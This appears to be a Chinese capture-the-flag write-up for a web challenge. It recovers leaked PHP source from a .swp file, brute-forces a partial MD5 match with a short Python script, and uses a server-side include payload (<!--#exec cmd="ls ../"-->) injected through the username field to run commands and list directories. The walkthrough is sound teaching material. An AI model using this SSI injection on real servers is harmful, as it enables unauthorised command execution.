[huayang]
进去看看
这题太花哨了弱口令,sql无果后爆破一下子域名
这里提个醒原生的dirsearch或是御剑都没有index.php.swp这项检测这也是爆破无果后
看别人的文章才知道的
如果是用dirsearch探查则需要在当前文件目录下的db文件夹dicc.txt文件进行添加
好我们继续看题
使用curl查看index.php代码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
审计
这里很重要
意思就是uesrname不为空就用md5加密password的前6位值与6d0bc1做比较
相等就会输出一个带shtml后缀的的git地址
所以重点在于password,username则不为空就行我们用脚本试试看
网上找的还不是很理解也是第一次知道这个库
import hashlib
def md5(s):
return hashlib.md5(s.encode('utf-8')).hexdigest()
for i in range(1, 10000000):
if md5(str(i)).startswith('6d0bc1'):
print(i)
break
2020666
拿去试试
正确弹出,我们继续访问
重点,我们输入的username有回显
那么可以以此来爆出目录 ls
这里要用到ssi注入
可以参考一下这篇文章:https://blog.csdn.net/qq_40657585/article/details/84260844
爆出目录
这里需要注意一下因为前面服务器已经接收了asd,所以我们需要在主页面重新写一下
就像这样
<!--#exec cmd="ls ../"-->
访问即可得到flag
[/huayang]
FROM:浅浅淡淡[hellohy]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论